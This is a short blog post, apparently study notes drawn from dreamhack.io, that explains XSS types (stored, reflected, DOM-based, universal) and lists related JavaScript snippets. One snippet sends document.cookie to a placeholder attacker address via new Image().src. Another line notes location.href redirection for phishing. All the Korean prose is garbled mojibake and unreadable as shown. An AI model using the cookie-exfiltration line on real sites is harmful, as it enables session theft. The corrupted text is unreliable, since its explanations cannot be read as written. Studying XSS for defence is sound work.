Tiny Bunny Cross-Site-Scripting (XSS)
๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
web

Cross-Site-Scripting (XSS)

by maesil 2024. 6. 12.

* Cross Site Scripting (XSS)

ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด๋“œ ์ทจ์•ฝ์  ์ค‘ ํ•˜๋‚˜

๊ณต๊ฒฉ์ž๊ฐ€ ์›น ๋ฆฌ์†Œ์Šค์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•ด ์ด์šฉ์ž์˜ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰

ํŠน์ • ๊ณ„์ •์˜ ์„ธ์…˜ ์ •๋ณด ํƒˆ์ทจ, ํ•ด๋‹น ๊ณ„์ •์œผ๋กœ ์ž„์˜ ๊ธฐ๋Šฅ ์ˆ˜ํ–‰

 

Stored XSS: ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์„œ๋ฒ„์— ์ €์žฅ๋˜๊ณ  ์„œ๋ฒ„์˜ ์‘๋‹ต์— ๋‹ด๊ฒจ์˜ด

Reflected XSS: ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ URL์— ์‚ฝ์ž…๋˜๊ณ  ์„œ๋ฒ„์˜ ์‘๋‹ต์— ๋‹ด๊ฒจ์˜ด

DOM-based XSS: ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ URL Fragment์— ์‚ฝ์ž…๋จ

Universal XSS: ํด๋ผ์ด์–ธํŠธ์˜ ๋ธŒ๋ผ์šฐ์ € ํ˜น์€ ํ”Œ๋Ÿฌ๊ทธ์ธ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ , SOP ์ •์ฑ… ์šฐํšŒ

 

document.cookie

// ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค (return type: string)

 

document.cookie = "name=test;";

// ์ฟ ํ‚ค ์ƒ์„ฑ (key: name, value: test)

 

new Image().src = "๊ณต๊ฒฉ์ž ์ฃผ์†Œ/?cookie=" + document.cookie;

// new Image()๋Š” ์ด๋ฏธ์ง€๋ฅผ ์ƒ์„ฑํ•˜๋Š” ํ•จ์ˆ˜์ด๋ฉฐ, src๋Š” ์ด๋ฏธ์ง€์˜ ์ฃผ์†Œ๋ฅผ ์ง€์ •
// "http://๊ณต๊ฒฉ์ž ์ฃผ์†Œ/?cookie=ํ˜„์žฌ ํŽ˜์ด์ง€ ์ฟ ํ‚ค" ๊ณต๊ฒฉ์ž ์ฃผ์†Œ๋กœ ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์ฟ ํ‚ค ์š”์ฒญ

 

document.write("Hello");

// ์ด์šฉ์ž์˜ ํŽ˜์ด์ง€์— ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฝ์ž…

 

location.href = "http://";

// ์ด์šฉ์ž์˜ ์œ„์น˜ ๋ณ€๊ฒฝ. ํ”ผ์‹ฑ ๊ณต๊ฒฉ ๋“ฑ์œผ๋กœ ์‚ฌ์šฉ๋จ.


window.open("http://")

// ์ƒˆ ์ฐฝ ์—ด๊ธฐ

 

* Stored XSS

์„œ๋ฒ„์˜ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋˜๋Š” ํŒŒ์ผ ๋“ฑ์˜ ํ˜•ํƒœ๋กœ ์ €์žฅ๋œ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์กฐํšŒํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” XSS

๋Œ€ํ‘œ์ ์œผ๋กœ ๊ฒŒ์‹œ๋ฌผ๊ณผ ๋Œ“๊ธ€์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จํ•ด ์—…๋กœ๋“œํ•˜๋Š” ๋ฐฉ์‹์ด ์žˆ์Œ

 

* Reflected XSS

์„œ๋ฒ„๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ๋‹ด๊ธด ์š”์ฒญ์„ ์ถœ๋ ฅํ•  ๋•Œ ๋ฐœ์ƒ

๋Œ€ํ‘œ์ ์œผ๋กœ ๊ฒŒ์‹œํŒ ์„œ๋น„์Šค์—์„œ ์ž‘์„ฑ๋œ ๊ฒŒ์‹œ๋ฌผ์„ ์กฐํšŒํ•˜๊ธฐ ์œ„ํ•œ ๊ฒ€์ƒ‰์ฐฝ์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จํ•ด ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ฐฉ์‹์ด ์žˆ์Œ

๊ฒ€์ƒ‰ ๋ฌธ์ž์—ด์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด Reflected XSS๊ฐ€ ๋ฐœ์ƒ


Reflected XSS๋Š” Stored XSS์™€๋Š” ๋‹ค๋ฅด๊ฒŒ URL๊ณผ ๊ฐ™์€ ์ด์šฉ์ž์˜ ์š”์ฒญ์— ์˜ํ•ด ๋ฐœ์ƒ

๋”ฐ๋ผ์„œ ๊ณต๊ฒฉ์„ ์œ„ํ•ด์„œ๋Š” ๋‹ค๋ฅธ ์ด์šฉ์ž๋ฅผ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํฌํ•จ๋œ ๋งํฌ์— ์ ‘์†ํ•˜๋„๋ก ์œ ๋„ํ•ด์•ผ ํ•จ

๋งํฌ ์ง์ ‘ ์ „๋‹ฌ์€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ํฌํ•จ ์—ฌ๋ถ€๋ฅผ ์ด์šฉ์ž๊ฐ€ ๋ˆˆ์น˜์ฑŒ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ฃผ๋กœ Click Jacking ๋˜๋Š” Open Redirect ๋“ฑ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ๊ณผ ์—ฐ๊ณ„ํ•˜์—ฌ ์‚ฌ์šฉ

 

 

<์ถœ์ฒ˜>

- https://dreamhack.io/

'web' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Cross Site Request Forgery (CSRF)  (0) 2024.06.23
Cookie & Session  (0) 2024.06.11